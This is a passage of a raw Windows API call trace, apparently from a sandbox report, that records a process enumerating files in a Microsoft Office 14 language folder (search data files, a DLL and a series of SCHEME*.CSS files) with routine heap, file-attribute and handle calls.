ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x99e7da00, ftLastWriteTime.dwHighDateTime=0x1c5c981, nFileSizeHigh=0x0, nFileSizeLow=0x4f777, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSRCHKEY.DAT", cAlternateFileName="")) returned 1 [0069.609] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33033d00, ftCreationTime.dwHighDateTime=0x1c56d62, ftLastAccessTime.dwLowDateTime=0xc866d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x33033d00, ftLastWriteTime.dwHighDateTime=0x1c56d62, nFileSizeHigh=0x0, nFileSizeLow=0x1f3978, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSRCHLEX.DAT", cAlternateFileName="")) returned 1 [0069.609] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33033d00, ftCreationTime.dwHighDateTime=0x1c56d62, ftLastAccessTime.dwLowDateTime=0xc866d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x33033d00, ftLastWriteTime.dwHighDateTime=0x1c56d62, nFileSizeHigh=0x0, nFileSizeLow=0xcd64, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSRCHLTS.DAT", cAlternateFileName="")) returned 1 [0069.609] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33033d00, ftCreationTime.dwHighDateTime=0x1c56d62, ftLastAccessTime.dwLowDateTime=0xc866d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x33033d00, ftLastWriteTime.dwHighDateTime=0x1c56d62, nFileSizeHigh=0x0, nFileSizeLow=0xd18, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSRCHPHN.DAT", cAlternateFileName="")) returned 1 [0069.609] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b190700, ftCreationTime.dwHighDateTime=0x1c5c981, ftLastAccessTime.dwLowDateTime=0xc8d9130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9b190700, ftLastWriteTime.dwHighDateTime=0x1c5c981, nFileSizeHigh=0x0, nFileSizeLow=0xa03a47, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSRCHSRN.DAT", cAlternateFileName="")) returned 1 [0069.609] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe236cf00, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0x1bbcb690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe236cf00, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0x6a8b68, dwReserved0=0x0, dwReserved1=0x0, cFileName="PUB6INTL.DLL", cAlternateFileName="")) returned 1 [0069.609] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf7146200, ftCreationTime.dwHighDateTime=0x1cab7cc, ftLastAccessTime.dwLowDateTime=0x1bb7f3d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf7146200, ftLastWriteTime.dwHighDateTime=0x1cab7cc, nFileSizeHigh=0x0, nFileSizeLow=0x10980, dwReserved0=0x0, dwReserved1=0x0, cFileName="PUB6INTL.DLL.IDX_DLL", cAlternateFileName="")) returned 1 [0069.609] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf7146200, ftCreationTime.dwHighDateTime=0x1cab7cc, ftLastAccessTime.dwLowDateTime=0x1bbcb690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf7146200, ftLastWriteTime.dwHighDateTime=0x1cab7cc, nFileSizeHigh=0x0, nFileSizeLow=0x41b80, dwReserved0=0x0, dwReserved1=0x0, cFileName="PUB6INTL.REST.IDX_DLL", cAlternateFileName="")) returned 1 [0069.609] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf925f00, ftCreationTime.dwHighDateTime=0x1c92dac, ftLastAccessTime.dwLowDateTime=0x1bbcb690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xaf925f00, ftLastWriteTime.dwHighDateTime=0x1c92dac, nFileSizeHigh=0x0, nFileSizeLow=0x6e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="PUBCOLOR.SCM", cAlternateFileName="")) returned 1 [0069.609] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ba28770, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1bc89d70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PUBFTSCM", cAlternateFileName="")) returned 1 [0069.609] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1058a98 [0069.609] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm"), fInfoLevelId=0x0, lpFileInformation=0x174ee50 | out: lpFileInformation=0x174ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ba28770, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1bc89d70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0069.610] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xec [0069.610] SetFileTime (hFile=0xec, lpCreationTime=0x0, lpLastAccessTime=0x174ee94, lpLastWriteTime=0x174ee94) returned 0 [0069.610] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0x106dbc0 [0069.610] DeviceIoControl (in: hDevice=0xec, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x106dbc0, nOutBufferSize=0x4000, lpBytesReturned=0x174eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x106dbc0, lpBytesReturned=0x174eeec, lpOverlapped=0x0) returned 0 [0069.610] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x106dbc0) returned 1 [0069.610] NtClose (Handle=0xec) returned 0x0 [0069.610] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1058a98) returned 1 [0069.610] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1058a98 [0069.610] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10663d0 [0069.610] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.610] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d1a0 [0069.612] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ba28770, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1bc89d70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.612] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c22e700, ftCreationTime.dwHighDateTime=0x1ca6669, ftLastAccessTime.dwLowDateTime=0x1ba28770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3c22e700, ftLastWriteTime.dwHighDateTime=0x1ca6669, nFileSizeHigh=0x0, nFileSizeLow=0xcb7, dwReserved0=0x0, dwReserved1=0x0, cFileName="FONTSCHM.INI", cAlternateFileName="")) returned 1 [0069.613] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10664e0 [0069.613] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10664e0) returned 1 [0069.613] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10664e0 [0069.613] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10664e0) returned 1 [0069.613] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10664e0 [0069.613] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1063ed8 [0069.613] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x47994900, ftCreationTime.dwHighDateTime=0x1ca1577, ftLastAccessTime.dwLowDateTime=0x1bbf17f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x47994900, ftLastWriteTime.dwHighDateTime=0x1ca1577, nFileSizeHigh=0x0, nFileSizeLow=0x1eea6, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME01.CSS", cAlternateFileName="")) returned 1 [0069.613] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10664e0 [0069.613] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b96a700, ftCreationTime.dwHighDateTime=0x1ca1579, ftLastAccessTime.dwLowDateTime=0x1bbf17f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2b96a700, ftLastWriteTime.dwHighDateTime=0x1ca1579, nFileSizeHigh=0x0, nFileSizeLow=0x1fbbe, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME02.CSS", cAlternateFileName="")) returned 1 [0069.613] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10664e0 [0069.613] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a657a00, ftCreationTime.dwHighDateTime=0x1ca1579, ftLastAccessTime.dwLowDateTime=0x1bbf17f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2a657a00, ftLastWriteTime.dwHighDateTime=0x1ca1579, nFileSizeHigh=0x0, nFileSizeLow=0x1f024, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME03.CSS", cAlternateFileName="")) returned 1 [0069.613] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10664e0 [0069.613] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x29344d00, ftCreationTime.dwHighDateTime=0x1ca1579, ftLastAccessTime.dwLowDateTime=0x1bbf17f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x29344d00, ftLastWriteTime.dwHighDateTime=0x1ca1579, nFileSizeHigh=0x0, nFileSizeLow=0x1f4e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME04.CSS", cAlternateFileName="")) returned 1 [0069.613] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10664e0 [0069.613] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28032000, ftCreationTime.dwHighDateTime=0x1ca1579, ftLastAccessTime.dwLowDateTime=0x1bbf17f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x28032000, ftLastWriteTime.dwHighDateTime=0x1ca1579, nFileSizeHigh=0x0, nFileSizeLow=0x1edba, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME05.CSS", cAlternateFileName="")) returned 1 [0069.613] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10664e0 [0069.613] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28032000, ftCreationTime.dwHighDateTime=0x1ca1579, ftLastAccessTime.dwLowDateTime=0x1bbf17f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x28032000, ftLastWriteTime.dwHighDateTime=0x1ca1579, nFileSizeHigh=0x0, nFileSizeLow=0x1f2da, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME06.CSS", cAlternateFileName="")) returned 1 [0069.613] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10664e0 [0069.613] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26d1f300, ftCreationTime.dwHighDateTime=0x1ca1579, ftLastAccessTime.dwLowDateTime=0x1bbf17f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x26d1f300, ftLastWriteTime.dwHighDateTime=0x1ca1579, nFileSizeHigh=0x0, nFileSizeLow=0x1ff56, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME07.CSS", cAlternateFileName="")) returned 1 [0069.613] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10664e0 [0069.613] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x25a0c600, ftCreationTime.dwHighDateTime=0x1ca1579, ftLastAccessTime.dwLowDateTime=0x1bbf17f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x25a0c600, ftLastWriteTime.dwHighDateTime=0x1ca1579, nFileSizeHigh=0x0, nFileSizeLow=0x1f998, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME08.CSS", cAlternateFileName="")) returned 1 [0069.614] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10664e0 [0069.614] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x25a0c600, ftCreationTime.dwHighDateTime=0x1ca1579, ftLastAccessTime.dwLowDateTime=0x1bbf17f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x25a0c600, ftLastWriteTime.dwHighDateTime=0x1ca1579, nFileSizeHigh=0x0, nFileSizeLow=0x20444, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME09.CSS", cAlternateFileName="")) returned 1 [0069.614] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10664e0 [0069.614] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x233e6c00, ftCreationTime.dwHighDateTime=0x1ca1579, ftLastAccessTime.dwLowDateTime=0x1bbf17f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x233e6c00, ftLastWriteTime.dwHighDateTime=0x1ca1579, nFileSizeHigh=0x0, nFileSizeLow=0x2072a, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME10.CSS", cAlternateFileName="")) returned 1 [0069.614] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10664e0 [0069.614] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x220d3f00, ftCreationTime.dwHighDateTime=0x1ca1579, ftLastAccessTime.dwLowDateTime=0x1bbf17f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x220d3f00, ftLastWriteTime.dwHighDateTime=0x1ca1579, nFileSizeHigh=0x0, nFileSizeLow=0x20030, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME11.CSS", cAlternateFileName="")) returned 1 [0069.614] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10664e0 [0069.614] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x20dc1200, ftCreationTime.dwHighDateTime=0x1ca1579, ftLastAccessTime.dwLowDateTime=0x1bbf17f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x20dc1200, ftLastWriteTime.dwHighDateTime=0x1ca1579, nFileSizeHigh=0x0, nFileSizeLow=0x1e09a, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME12.CSS", cAlternateFileName="")) returned 1 [0069.614] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10664e0 [0069.614] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1faae500, ftCreationTime.dwHighDateTime=0x1ca1579, ftLastAccessTime.dwLowDateTime=0x1bc17950, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1faae500, ftLastWriteTime.dwHighDateTime=0x1ca1579, nFileSizeHigh=0x0, nFileSizeLow=0x1ec9a, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME13.CSS", cAlternateFileName="")) returned 1 [0069.614] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10664e0 [0069.614] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1faae500, ftCreationTime.dwHighDateTime=0x1ca1579, ftLastAccessTime.dwLowDateTime=0x1bc17950, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1faae500, ftLastWriteTime.dwHighDateTime=0x1ca1579, nFileSizeHigh=0x0, nFileSizeLow=0x1f5cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME14.CSS", cAlternateFileName="")) returned 1 [0069.614] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10664e0 [0069.614] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e79b800, ftCreationTime.dwHighDateTime=0x1ca1579, ftLastAccessTime.dwLowDateTime=0x1bc17950, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e79b800, ftLastWriteTime.dwHighDateTime=0x1ca1579, nFileSizeHigh=0x0, nFileSizeLow=0x1e094, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME15.CSS", cAlternateFileName="")) returned 1 [0069.614] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10664e0 [0069.614] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d488b00, ftCreationTime.dwHighDateTime=0x1ca1579, ftLastAccessTime.dwLowDateTime=0x1bc17950, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1d488b00, ftLastWriteTime.dwHighDateTime=0x1ca1579, nFileSizeHigh=0x0, nFileSizeLow=0x1f822, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME16.CSS", cAlternateFileName="")) returned 1 [0069.614] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10664e0 [0069.614] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c175e00, ftCreationTime.dwHighDateTime=0x1ca1579, ftLastAccessTime.dwLowDateTime=0x1bc17950, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1c175e00, ftLastWriteTime.dwHighDateTime=0x1ca1579, nFileSizeHigh=0x0, nFileSizeLow=0x1eada, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME17.CSS", cAlternateFileName="")) returned 1 [0069.614] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10664e0 [0069.614] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ae63100, ftCreationTime.dwHighDateTime=0x1ca1579, ftLastAccessTime.dwLowDateTime=0x1bc17950, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1ae63100, ftLastWriteTime.dwHighDateTime=0x1ca1579, nFileSizeHigh=0x0, nFileSizeLow=0x20438, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME18.CSS", cAlternateFileName="")) returned 1 [0069.614] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10664e0 [0069.614] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19b50400, ftCreationTime.dwHighDateTime=0x1ca1579, ftLastAccessTime.dwLowDateTime=0x1bc17950, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x19b50400, ftLastWriteTime.dwHighDateTime=0x1ca1579, nFileSizeHigh=0x0, nFileSizeLow=0x1fff2, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME19.CSS", cAlternateFileName="")) returned 1 [0069.614] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10664e0 [0069.614] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1883d700, ftCreationTime.dwHighDateTime=0x1ca1579, ftLastAccessTime.dwLowDateTime=0x1bc17950, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1883d700, ftLastWriteTime.dwHighDateTime=0x1ca1579, nFileSizeHigh=0x0, nFileSizeLow=0x1f6f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME20.CSS", cAlternateFileName="")) returned 1 [0069.614] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10664e0 [0069.614] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1752aa00, ftCreationTime.dwHighDateTime=0x1ca1579, ftLastAccessTime.dwLowDateTime=0x1bc17950, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1752aa00, ftLastWriteTime.dwHighDateTime=0x1ca1579, nFileSizeHigh=0x0, nFileSizeLow=0x1eae6, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME21.CSS", cAlternateFileName="")) returned 1 [0069.614] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10664e0 [0069.614] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14f05000, ftCreationTime.dwHighDateTime=0x1ca1579, ftLastAccessTime.dwLowDateTime=0x1bc17950, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x14f05000, ftLastWriteTime.dwHighDateTime=0x1ca1579, nFileSizeHigh=0x0, nFileSizeLow=0x1fcca, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME22.CSS", cAlternateFileName="")) returned 1 [0069.614] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10664e0 [0069.615] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13bf2300, ftCreationTime.dwHighDateTime=0x1ca1579, ftLastAccessTime.dwLowDateTime=0x1bc17950, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x13bf2300, ftLastWriteTime.dwHighDateTime=0x1ca1579, nFileSizeHigh=0x0, nFileSizeLow=0x1f5fa, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME23.CSS", cAlternateFileName="")) returned 1 [0069.615] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10664e0 [0069.615] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x128df600, ftCreationTime.dwHighDateTime=0x1ca1579, ftLastAccessTime.dwLowDateTime=0x1bc17950, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x128df600, ftLastWriteTime.dwHighDateTime=0x1ca1579, nFileSizeHigh=0x0, nFileSizeLow=0x1ee38, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME24.CSS", cAlternateFileName="")) returned 1 [0069.615] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10664e0 [0069.615] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x115cc900, ftCreationTime.dwHighDateTime=0x1ca1579, ftLastAccessTime.dwLowDateTime=0x1bc17950, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x115cc900, ftLastWriteTime.dwHighDateTime=0x1ca1579, nFileSizeHigh=0x0, nFileSizeLow=0x1fcee, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME25.CSS", cAlternateFileName="")) returned 1 [0069.615] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10664e0 [0069.615] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x115cc900, ftCreationTime.dwHighDateTime=0x1ca1579, ftLastAccessTime.dwLowDateTime=0x1bc17950, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x115cc900, ftLastWriteTime.dwHighDateTime=0x1ca1579, nFileSizeHigh=0x0, nFileSizeLow=0x1d1b6, dwReserved0=0x0, 